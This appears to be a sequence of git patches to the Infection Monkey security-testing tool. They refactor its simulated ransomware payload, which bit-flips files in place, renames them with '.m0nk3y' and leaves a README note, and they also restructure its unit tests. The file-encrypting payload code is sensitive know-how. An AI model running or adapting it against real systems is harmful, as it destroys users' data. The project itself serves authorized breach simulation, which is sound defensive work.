InPlaceFileEncryptor --- ...encryptor.py => in_place_file_encryptor.py} | 2 +- ...ptor.py => test_in_place_file_encryptor.py} | 18 +++++++++--------- 2 files changed, 10 insertions(+), 10 deletions(-) rename monkey/infection_monkey/ransomware/{in_place_encryptor.py => in_place_file_encryptor.py} (97%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_in_place_encryptor.py => test_in_place_file_encryptor.py} (72%) diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py similarity index 97% rename from monkey/infection_monkey/ransomware/in_place_encryptor.py rename to monkey/infection_monkey/ransomware/in_place_file_encryptor.py index beb3c1518..f4bcaf3aa 100644 --- a/monkey/infection_monkey/ransomware/in_place_encryptor.py +++ b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py @@ -5,7 +5,7 @@ from typing import Callable FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") -class InPlaceEncryptor: +class InPlaceFileEncryptor: def __init__( self, encrypt_bytes: Callable[[bytes], bytes], diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py similarity index 72% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py index ab7f43028..3003311d0 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py @@ -11,7 +11,7 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import hash_file -from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" @@ -22,14 +22,14 @@ def with_extension(filename): @pytest.fixture(scope="module") -def in_place_bitflip_encryptor(): - return InPlaceEncryptor(encrypt_bytes=flip_bits, chunk_size=64) +def in_place_bitflip_file_encryptor(): + return InPlaceFileEncryptor(encrypt_bytes=flip_bits, chunk_size=64) @pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) def test_invalid_file_extension(invalid_extension): with pytest.raises(ValueError): - InPlaceEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) + InPlaceFileEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) @pytest.mark.parametrize( @@ -40,22 +40,22 @@ def test_invalid_file_extension(invalid_extension): ], ) def test_file_encrypted( - in_place_bitflip_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash + in_place_bitflip_file_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash ): test_keyboard = ransomware_target / file_name assert hash_file(test_keyboard) == cleartext_hash - in_place_bitflip_encryptor(test_keyboard) + in_place_bitflip_file_encryptor(test_keyboard) assert hash_file(test_keyboard) == encrypted_hash -def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): +def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT expected_inode = os.stat(test_keyboard).st_ino - in_place_bitflip_encryptor(test_keyboard) + in_place_bitflip_file_encryptor(test_keyboard) actual_inode = os.stat(test_keyboard).st_ino assert expected_inode == actual_inode @@ -64,7 +64,7 @@ def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): def test_encrypted_file_has_new_extension(ransomware_target): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) - encryptor = InPlaceEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) + encryptor = InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) encryptor(test_keyboard) From d9cc66de547c0228ddf23fb179e1e7933baac09d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:50:49 -0400 Subject: [PATCH 07/16] Agent: Inject InPlaceFileEncryptor into RansomwarePayload --- monkey/infection_monkey/monkey.py | 7 ++++ .../ransomware/bitflip_encryptor.py | 21 ------------ .../ransomware/ransomware_payload.py | 15 ++------ .../ransomware/test_bitflip_encryptor.py | 34 ------------------- .../ransomware/test_ransomware_payload.py | 26 ++++++++++++-- 5 files changed, 33 insertions(+), 70 deletions(-) delete mode 100644 monkey/infection_monkey/ransomware/bitflip_encryptor.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0dcbbcd17..ffe431d8a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -23,6 +23,7 @@ from infection_monkey.network.tools import get_interface_to_target, is_running_o from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.ransomware import ransomware_payload, readme_utils from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -40,6 +41,7 @@ from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem +from infection_monkey.utils.bit_manipulators import flip_bits from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException from infection_monkey.utils.monkey_dir import ( @@ -479,6 +481,10 @@ class InfectionMonkey(object): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + file_encryptor = InPlaceFileEncryptor( + encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24) + ) + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() targeted_file_extensions.discard(ransomware_payload.EXTENSION) file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) @@ -486,6 +492,7 @@ class InfectionMonkey(object): try: RansomwarePayload( WormConfiguration.ransomware, + file_encryptor, file_selector, readme_utils.leave_readme, batching_telemetry_messenger, diff --git a/monkey/infection_monkey/ransomware/bitflip_encryptor.py b/monkey/infection_monkey/ransomware/bitflip_encryptor.py deleted file mode 100644 index b31f8a409..000000000 --- a/monkey/infection_monkey/ransomware/bitflip_encryptor.py +++ /dev/null @@ -1,21 +0,0 @@ -from pathlib import Path - -from infection_monkey.utils import bit_manipulators - - -class BitflipEncryptor: - def __init__(self, chunk_size=64): - self._chunk_size = chunk_size - - def encrypt_file_in_place(self, filepath: Path): - with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - - encrypted_data = bit_manipulators.flip_bits(data) - - f.seek(-num_bytes_read, 1) - f.write(encrypted_data) - - data = f.read(self._chunk_size) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 7b3a9a42a..52604089c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -4,16 +4,12 @@ from pprint import pformat from typing import Callable, List, Optional, Tuple from common.utils.file_utils import InvalidPath, expand_path -from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) -EXTENSION = ".m0nk3y" -CHUNK_SIZE = 4096 * 24 - README_SRC = Path(__file__).parent / "ransomware_readme.txt" README_DEST = "README.txt" @@ -22,6 +18,7 @@ class RansomwarePayload: def __init__( self, config: dict, + encrypt_file: Callable[[Path], None], select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, @@ -32,9 +29,8 @@ class RansomwarePayload: self._readme_enabled = config["other_behaviors"]["readme"] self._target_dir = RansomwarePayload.get_target_dir(config) - self._new_file_extension = EXTENSION - self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._encrypt_file = encrypt_file self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @@ -77,8 +73,7 @@ class RansomwarePayload: for filepath in file_list: try: LOG.debug(f"Encrypting {filepath}") - self._encryptor.encrypt_file_in_place(filepath) - self._add_extension(filepath) + self._encrypt_file(filepath) self._send_telemetry(filepath, True, "") except Exception as ex: LOG.warning(f"Error encrypting {filepath}: {ex}") @@ -86,10 +81,6 @@ class RansomwarePayload: return results - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") - filepath.rename(new_filepath) - def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py deleted file mode 100644 index 86066c518..000000000 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py +++ /dev/null @@ -1,34 +0,0 @@ -import os - -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( - TEST_KEYBOARD_TXT, - TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, - TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, -) -from tests.utils import hash_file - -from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor - - -def test_file_encrypted(ransomware_target): - test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - - assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - encryptor = BitflipEncryptor(chunk_size=64) - encryptor.encrypt_file_in_place(test_keyboard) - - assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - - -def test_file_encrypted_in_place(ransomware_target): - test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - - expected_inode = os.stat(test_keyboard).st_ino - - encryptor = BitflipEncryptor(chunk_size=64) - encryptor.encrypt_file_in_place(test_keyboard) - - actual_inode = os.stat(test_keyboard).st_ino - - assert expected_inode == actual_inode diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 5b62f3228..7d21485ba 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -54,15 +54,29 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy): +def build_ransomware_payload( + mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy +): def inner(config): return RansomwarePayload( - config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + config, + mock_file_encryptor, + mock_file_selector, + mock_leave_readme, + telemetry_messenger_spy, ) return inner +@pytest.fixture +def mock_file_encryptor(ransomware_target): + from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor + from infection_monkey.utils.bit_manipulators import flip_bits + + return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y") + + @pytest.fixture def mock_file_selector(ransomware_target): mock_file_selector.return_value = [ @@ -259,6 +273,8 @@ def test_readme_true( def test_no_readme_if_no_directory( monkeypatch, ransomware_payload_config, + mock_file_encryptor, + mock_file_selector, mock_leave_readme, telemetry_messenger_spy, ransomware_target, @@ -268,7 +284,11 @@ def test_no_readme_if_no_directory( ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + ransomware_payload_config, + mock_file_encryptor, + mock_file_selector, + mock_leave_readme, + telemetry_messenger_spy, ).run_payload() mock_leave_readme.assert_not_called() From 0be919b805b5566f6ce87faa6c1994ee0feb0a8c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 09:18:59 -0400 Subject: [PATCH 08/16] Agent: Use mock encryptor in test_ransomware_payload.py --- .../ransomware/ransomware_target_files.py | 7 - .../ransomware/test_ransomware_payload.py | 167 ++++-------------- 2 files changed, 32 insertions(+), 142 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py index d9940af5c..1676c574f 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py @@ -1,21 +1,14 @@ SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" -ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" HELLO_TXT = "hello.txt" SHORTCUT_LNK = "shortcut.lnk" TEST_KEYBOARD_TXT = "test_keyboard.txt" TEST_LIB_DLL = "test_lib.dll" ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" -ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( - "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" -) -HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" -SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" ) -TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 7d21485ba..ca52bef5c 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,39 +1,19 @@ -import os from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, - ALL_ZEROS_PDF_CLEARTEXT_SHA256, - ALL_ZEROS_PDF_ENCRYPTED_SHA256, - ALREADY_ENCRYPTED_TXT_M0NK3Y, - ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256, - HELLO_TXT, - HELLO_TXT_CLEARTEXT_SHA256, - SHORTCUT_LNK, - SHORTCUT_LNK_CLEARTEXT_SHA256, - SUBDIR, TEST_KEYBOARD_TXT, - TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, - TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, - TEST_LIB_DLL, - TEST_LIB_DLL_CLEARTEXT_SHA256, ) -from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import ( - EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) -def with_extension(filename): - return f"{filename}{EXTENSION}" - - @pytest.fixture def ransomware_payload_config(ransomware_target): return { @@ -71,22 +51,16 @@ def build_ransomware_payload( @pytest.fixture def mock_file_encryptor(ransomware_target): - from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor - from infection_monkey.utils.bit_manipulators import flip_bits - - return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y") + return MagicMock() @pytest.fixture def mock_file_selector(ransomware_target): - mock_file_selector.return_value = [ + selected_files = [ ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT, ] - return MagicMock(return_value=mock_file_selector.return_value) - - -mock_file_selector.return_value = None + return MagicMock(return_value=selected_files) @pytest.fixture @@ -113,105 +87,27 @@ def test_env_variables_in_target_dir_resolved_linux( mock_file_selector.assert_called_with(ransomware_target) -def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): +def test_all_selected_files_encrypted(ransomware_target, ransomware_payload, mock_file_encryptor): ransomware_payload.run_payload() - assert hash_file(ransomware_target / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 - - -def test_shortcut_not_encrypted(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 - - -@pytest.mark.skipif( - os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" -) -def test_symlink_not_encrypted(ransomware_target, ransomware_payload): - SYMLINK = "symlink.pdf" - link_path = ransomware_target / SYMLINK - link_path.symlink_to(ransomware_target / TEST_LIB_DLL) - - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 - - -def test_encryption_not_recursive(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 - - -def test_all_files_with_included_extension_encrypted(ransomware_target, ransomware_payload): - assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - ransomware_payload.run_payload() - - assert ( - hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) - == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - ) - assert ( - hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) - == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - ) - - -def test_file_encrypted_in_place(ransomware_target, ransomware_payload): - expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino - - ransomware_payload.run_payload() - - actual_test_keyboard_inode = os.stat( - ransomware_target / with_extension(TEST_KEYBOARD_TXT) - ).st_ino - - assert expected_test_keyboard_inode == actual_test_keyboard_inode - - -def test_encryption_reversible(ransomware_target, ransomware_payload): - orig_path = ransomware_target / TEST_KEYBOARD_TXT - new_path = ransomware_target / with_extension(TEST_KEYBOARD_TXT) - assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - ransomware_payload.run_payload() - assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - - new_path.rename(orig_path) - ransomware_payload.run_payload() - assert ( - hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) - == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - ) - - -def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert not (ransomware_target / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() - assert ( - hash_file(ransomware_target / ALREADY_ENCRYPTED_TXT_M0NK3Y) - == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 - ) + assert mock_file_encryptor.call_count == 2 + mock_file_encryptor.assert_any_call(ransomware_target / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_target / TEST_KEYBOARD_TXT) def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, ransomware_target + build_ransomware_payload, ransomware_payload_config, ransomware_target, mock_file_encryptor ): ransomware_payload_config["encryption"]["enabled"] = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + assert mock_file_encryptor.call_count == 0 def test_encryption_skipped_if_no_directory( - build_ransomware_payload, ransomware_payload_config, telemetry_messenger_spy + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" @@ -219,7 +115,8 @@ def test_encryption_skipped_if_no_directory( ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert len(telemetry_messenger_spy.telemetries) == 0 + + assert mock_file_encryptor.call_count == 0 def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): @@ -238,16 +135,27 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): def test_telemetry_failure( - monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy + monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy ): - mock_file_selector.return_value = [PurePosixPath("/file/not/exist")] + file_not_exists = "/file/not/exist" + ransomware_payload = RansomwarePayload( + ransomware_payload_config, + MagicMock( + side_effect=FileNotFoundError( + f"[Errno 2] No such file or directory: '{file_not_exists}'" + ) + ), + MagicMock(return_value=[PurePosixPath(file_not_exists)]), + mock_leave_readme, + telemetry_messenger_spy, + ) ransomware_payload.run_payload() - telem_1 = telemetry_messenger_spy.telemetries[0] + telem = telemetry_messenger_spy.telemetries[0] - assert "/file/not/exist" in telem_1.get_data()["files"][0]["path"] - assert not telem_1.get_data()["files"][0]["success"] - assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] + assert file_not_exists in telem.get_data()["files"][0]["path"] + assert not telem.get_data()["files"][0]["success"] + assert "No such file or directory" in telem.get_data()["files"][0]["error"] def test_readme_false( @@ -271,24 +179,13 @@ def test_readme_true( def test_no_readme_if_no_directory( - monkeypatch, - ransomware_payload_config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, - telemetry_messenger_spy, - ransomware_target, + build_ransomware_payload, ransomware_payload_config, mock_leave_readme ): ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True - RansomwarePayload( - ransomware_payload_config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, - telemetry_messenger_spy, - ).run_payload() + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + ransomware_payload.run_payload() mock_leave_readme.assert_not_called() From fd3cc46e55d1b5bf7985f0287a397de2a9fb8454 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 11:49:37 -0400 Subject: [PATCH 09/16] Agent: Remove unused return value from RansomwarePayload._encrypt_files --- monkey/infection_monkey/ransomware/ransomware_payload.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 52604089c..32530b287 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,7 +1,7 @@ import logging from pathlib import Path from pprint import pformat -from typing import Callable, List, Optional, Tuple +from typing import Callable, List from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem @@ -66,10 +66,9 @@ class RansomwarePayload: LOG.info(f"Collecting files in {self._target_dir}") return sorted(self._select_files(self._target_dir)) - def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + def _encrypt_files(self, file_list: List[Path]): LOG.info(f"Encrypting files in {self._target_dir}") - results = [] for filepath in file_list: try: LOG.debug(f"Encrypting {filepath}") @@ -79,8 +78,6 @@ class RansomwarePayload: LOG.warning(f"Error encrypting {filepath}: {ex}") self._send_telemetry(filepath, False, str(ex)) - return results - def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) From 918d23398391c82eeb9fcc9d77f65ac06dffab95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 09:31:00 -0400 Subject: [PATCH 10/16] Agent: Add build_ransomware_payload() function --- monkey/infection_monkey/monkey.py | 34 ++------------ .../ransomware/ransomware_payload_builder.py | 44 +++++++++++++++++++ 2 files changed, 47 insertions(+), 31 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/ransomware_payload_builder.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ffe431d8a..c4d2ac854 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -6,8 +6,6 @@ import sys import time from threading import Thread -from InfectionMonkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS - import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError @@ -21,27 +19,17 @@ from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware import ransomware_payload, readme_utils -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( - BatchingTelemetryMessenger, -) -from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( - LegacyTelemetryMessengerAdapter, -) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem -from infection_monkey.utils.bit_manipulators import flip_bits from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException from infection_monkey.utils.monkey_dir import ( @@ -478,24 +466,8 @@ class InfectionMonkey(object): @staticmethod def run_ransomware(): - telemetry_messenger = LegacyTelemetryMessengerAdapter() - batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) - - file_encryptor = InPlaceFileEncryptor( - encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24) - ) - - targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(ransomware_payload.EXTENSION) - file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) - try: - RansomwarePayload( - WormConfiguration.ransomware, - file_encryptor, - file_selector, - readme_utils.leave_readme, - batching_telemetry_messenger, - ).run_payload() + ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) + ransomware_payload.run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py new file mode 100644 index 000000000..28770668d --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -0,0 +1,44 @@ +from infection_monkey.ransomware import readme_utils +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS +from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( + BatchingTelemetryMessenger, +) +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) +from infection_monkey.utils.bit_manipulators import flip_bits + +EXTENSION = ".m0nk3y" +CHUNK_SIZE = 4096 * 24 + + +def build_ransomware_payload(config: dict): + file_encryptor = _build_file_encryptor() + file_selector = _build_file_selector() + telemetry_messenger = _build_telemetry_messenger() + + return RansomwarePayload( + config, file_encryptor, file_selector, readme_utils.leave_readme, telemetry_messenger + ) + + +def _build_file_encryptor(): + return InPlaceFileEncryptor( + encrypt_bytes=flip_bits, new_file_extension=EXTENSION, chunk_size=CHUNK_SIZE + ) + + +def _build_file_selector(): + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + targeted_file_extensions.discard(EXTENSION) + + return ProductionSafeTargetFileSelector(targeted_file_extensions) + + +def _build_telemetry_messenger(): + telemetry_messenger = LegacyTelemetryMessengerAdapter() + + return BatchingTelemetryMessenger(telemetry_messenger) From 6f5a7faaa194b1eb0ed1f3c7e07dea885b35b2b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 